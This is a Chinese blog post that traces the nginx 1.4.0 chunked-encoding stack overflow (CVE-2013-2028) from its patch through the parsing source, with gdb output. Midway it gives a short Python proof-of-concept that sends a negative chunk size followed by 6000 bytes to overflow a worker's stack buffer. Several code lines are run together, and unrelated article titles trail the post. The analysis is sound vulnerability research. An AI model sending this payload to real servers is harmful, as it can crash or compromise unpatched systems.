背景

操作系统:ubuntu 18.04 64bit

漏洞软件:nginx-1.4.0

查看资料】

1. 漏洞补丁信息

从补丁可以认识一个漏洞的触发源。

查看github中的补丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:

if (ctx->size < 0 || ctx->length < 0) {goto invalid;}return rc;

可以看到补丁中在/src/http/ngx_http_parse.c的ngx_http_parse_chunked函数返回值中增加了对变量ctx->length和ctx->size的负值判断

查看ctx变量的结构体定义,

struct ngx_http_chunked_s {ngx_uint_t           state;off_t                size;off_t                length;
};`在这里插入代码片`

可以看到size和length的类型变量是off_t,而off_t对应了long int,是一个有符号的变量(记住这一点,很重要)。

2. 漏洞触发路径分析

从上一步中可以得到漏洞的根源在于/src/http/ngx_http_parse.c的ngx_http_parse_chunked函数,与负值的变量ctx->length和ctx->size有关,现在开始追踪这两个变量的后续流向。

2.1 漏洞复现
POC信息

从互联网可以找到该漏洞的POC如下:

import sockethost = "127.0.0.1"
ip='127.0.0.1'raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 80))data1 = raw
data1 += "f000000000000060" + "\r\n"print data1
s.send(data1)s.send("B" * 6000)
s.close()

这个POC会发送两次TCP请求数据,第一次是一个HTTP请求:

GET / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
Connection: Keep-Alivef000000000000060

第二次是一个超长的"B"字符串。

chunked HTTP请求

第一个HTTP请求的特殊之处在于这是一个分块传输的请求。在请求体中,在每一个分块的开头需要添加当前分块的长度,以十六进制的形式表示,后面紧跟着 ‘\r\n’ ,之后是分块本身,后面也是’\r\n’

漏洞复现

在shell中找到nginx工作进程的pid,并使用gdb 挂载调试 ,并在patch函数下断点。

osboxes@osboxes:~$ ps aux |grep nginx
root      2081  0.0  0.0  21860  1908 ?        Ss   11:14   0:00 nginx: master process ./nginx -c conf/nginx.conf
nobody    7185  0.0  0.0  22256  2196 ?        S    17:32   0:00 nginx: worker process
osboxes   7406  0.0  0.0  14436  1008 pts/0    S+   19:13   0:00 grep --color=auto nginx
osboxes@osboxes:~$ sudo gdb -p 7185
pwndbg> b ngx_http_parse_chunked
Breakpoint 1 at 0x5599fb464871: file src/http/ngx_http_parse.c, line 1974.
pwndbg> c
Continuing.

执行POC,并查看函数调用栈可以看到如下:

那我们就依照源码来分析漏洞的触发路径

1.ngx_http_parse_chunked函数解析HTTP中的块大小

查看ngx_http_parse_chunked函数,可以看到该函数的主要功能为解析HTTP请求体中的chunk信息。

ngx_int_t
ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,ngx_http_chunked_t *ctx)
{...state = ctx->state;
...rc = NGX_AGAIN;
...switch (state) {...case sw_chunk_size:if (ch >= '0' && ch <= '9') {ctx->size = ctx->size * 16 + (ch - '0');break;}c = (u_char) (ch | 0x20);if (c >= 'a' && c <= 'f') {ctx->size = ctx->size * 16 + (c - 'a' + 10);break;}...}data:switch (state) {...case sw_chunk_data:ctx->length = ctx->size + 4 /* LF "0" LF LF */;break;
...return rc;
...
}

当遇到HTTP请求体中的块大小,即f000000000000060时,会将字符串解析为对应的十六进制数字,并保存在ctx->size中。注意,由于是有符号的,ctx的值是为负数的。之后ctx->size的值会赋值到ctx->lenth中,也就是:

ctx->lenth= ctx->size+4= parseLong('f000000000000060')+4= -1152921504606846880+4= -1152921504606846876

之后,函数返回,返回值为rc=NGX_AGIN

2.ngx_http_discard_request_body_filter将值进一步向上传递

根据返回值rc == NGX_AGAIN, 这个负值会进一步传递到r->headers_in.content_length_n 变量中,注意这也是一个off_t类型的,也就是它也是**负数。**也就是

r->headers_in.content_length_n = rb->chunked->length= -1152921504606846876

之后函数返回 ,返回值为NGX_OK。

3.ngx_http_discard_request_body简单跳转

在ngx_http_discard_request_body函数中, 控制流返回后进入到另一个子函数中。

4.ngx_http_read_discarded_request_body栈溢出

逃脱ngx_min检查

在ngx_http_read_discard_request_body函数中本来是有长度范围检查ngx_min,但是正如我们前面所说的,长度为负数,所以这个检查就被绕过了

size 被赋予超大值

在函数中size_t是一个无符号的long int, 这样size就被意外的赋值为一个超大的数值。也就是

(size_t) size= r->headers_in.content_length_n= 17293822569102704740

recv 将超长的输入写入局部变量buffer

在解析size之后,nginx 会尝试再次读取输入,

n = r->connection->recv(r->connection, buffer, size);

此时,系统会尝试size=17293822569102704740大小的输入写入到局部变量buffer中,由此造成了栈溢出。

3. 漏洞路径

4. 漏洞数据流

总结整理数据的流动方向如下图:

总结

这个漏洞的原因在于,带符号整数在转为无符号数时会变为极大的值,从而导致nginx从socket中读取了超长的值到局部变量中。

漏洞的触发条件为三个:

参考:Nginx栈溢出分析 - CVE-2013-2028 - l3m0n - 博客园 (cnblogs.com)

关注我,持续更新!!!

私我获取【网络安全学习资料·攻略

【安全漏洞】从补丁追溯漏洞触发路径相关推荐

  1. PrintNightmare 漏洞的补丁管用吗?安全界和微软有不同看法

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 就在微软发布紧急更新,修复 Print Spooler 服务中严重的代码执行缺陷 (CVE-2021-1675) 的几天后,微软就开始调查 ...

  2. weblogic漏洞打补丁,安装OPatch补丁

    weblogic有漏洞CVE-2018-3191,查看oracle官方说明 Oracle Critical Patch Update - October 2018 T3协议的漏洞,共有三个版本受影响1 ...

  3. php打补丁,PHPMailer库打补丁后漏洞仍然存在,怎么解?

    开源PHPMailer库被披露存有一个严重的远程代码执行漏洞.这个漏洞在被修补后,又进行了二次修复,因为第一次没有充分解决问题.那么,这个漏洞是如何工作的?为什么原始补丁没有解决问题? Michael ...

  4. QCon速递:Xen漏洞热补丁修复、异地双活、ODPS新功能与金融互联网

    QCon速递:Xen漏洞热补丁修复.异地双活.ODPS新功能与金融互联网

  5. VMware ESXi 高危漏洞的补丁被指不完整

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 本周三,VMware 通知客户称,了解到上个月某个严重漏洞的补丁不完整后,已为 ESXi 发布新补丁. 该漏洞的编号是 CVE-202 ...

  6. cve20190708补丁的kb名称_cve-2019-0708漏洞修复补丁下载|

    cve-2019-0708漏洞补丁是款微软专门为最近的蠕虫病毒威胁更新的安全部队,可以帮助大家紧急修复电脑中的漏洞,降低风险和危害,正在使用win7系统的朋友赶快到本站下载体验吧! cve-2019- ...

  7. 紧急:Spring框架被爆出存在0day级别远程命令执行漏洞。漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响。该漏洞目前无官方修复补丁

    Spring框架被爆出存在0day级别远程命令执行漏洞.漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响. 漏洞信息和漏洞影响排查方法如下: 漏洞名称 ...

  8. linux系统漏洞补丁包,RedHat 5.X、6.X Bash漏洞RPM补丁包下载

    RedHat 5.X.6.X Bash漏洞RPM补丁包下载及教程. 首先查看服务器的BASH版本号: bash -version 如果BASH版本是4.X的64位系统的话,安装bash-4.1.2-1 ...

  9. Linux 之父恶评 Intel 漏洞修复补丁:完全就是垃圾!Intel:先别更新!

    2018年1月2日,英特尔曝出的CPU设计漏洞事件: 详解 Intel 漏洞怎么拿到内核数据的(附视频演示) 事件一经曝光,就迅速引起业内硬件同行.操作系统厂商.云供应商的迅速反应.如果不能从硬件层面 ...

最新文章

  1. zabbix 邮件报警
  2. linux设置默认时区,关于linux:如何修改-Linux-默认时区
  3. 三十八、Vue项目上手 | 用户管理系统(上篇)
  4. JavaScript基础09-day11【原型对象、toString()、垃圾回收、数组、数组字面量、数组方法】
  5. 论文浅尝 | 用于开放领域的问题生成
  6. 三星性能测试软件,三星R25的性能测试
  7. linux锐捷认证成功无法上网,如何修复win7系统锐捷认证成功但是却无法上网的操作教程...
  8. 使用IE缓存提取微博相片
  9. 【步步到位】mysql安装教程 8.0.26
  10. 给你一个完整的社群鸭介绍
  11. 场景图生成论文阅读笔记 之 PCPL
  12. 微信公众平台测试号接口配置的一个坑——ngrok的
  13. 远程辅助必备免费神器ToDesk远程控制软件(答辩,远程,调试,办公)必备远程工具
  14. golang多版本管理工具g使用(windows)
  15. 与Simon,Warren,Neo,Paul同学聊天体会
  16. 控件布局通用解决方案
  17. tableview的详解
  18. 模型剪枝经典论文解读:《Learning Efficient Convolutional Networks through Network Slimming》
  19. BIOS知识枝桠——Event
  20. 【转】很实用的Eclipse小工具——Easy Explore和Explore FS

热门文章

  1. Database之SQLSever:SQLSever基础知识进阶、软件安装注意事项、软件使用经验总结之详细攻略
  2. NLP:LSTM之父眼中的深度学习十年简史《The 2010s: Our Decade of Deep Learning / Outlook on the 2020s》的参考文献
  3. Dataset之CIFAR-10:CIFAR-10数据集简介、下载、使用方法之详细攻略
  4. 角点检测——发现图像的特征
  5. 学习Python3:201701030
  6. C#获取文件夹下指定格式的所有文件
  7. 拓扑排序之变量序列代码
  8. 使用自定义的item、Adapter和AsyncTask、第三方开源框架PullToRefresh联合使用实现自定义的下拉列表(从网络加载图片显示在item中的ImageView)...
  9. (翻译)为你的MVC应用程序创建自定义视图引擎
  10. VB.NET(2005)中关于dll调用的错误信息(转)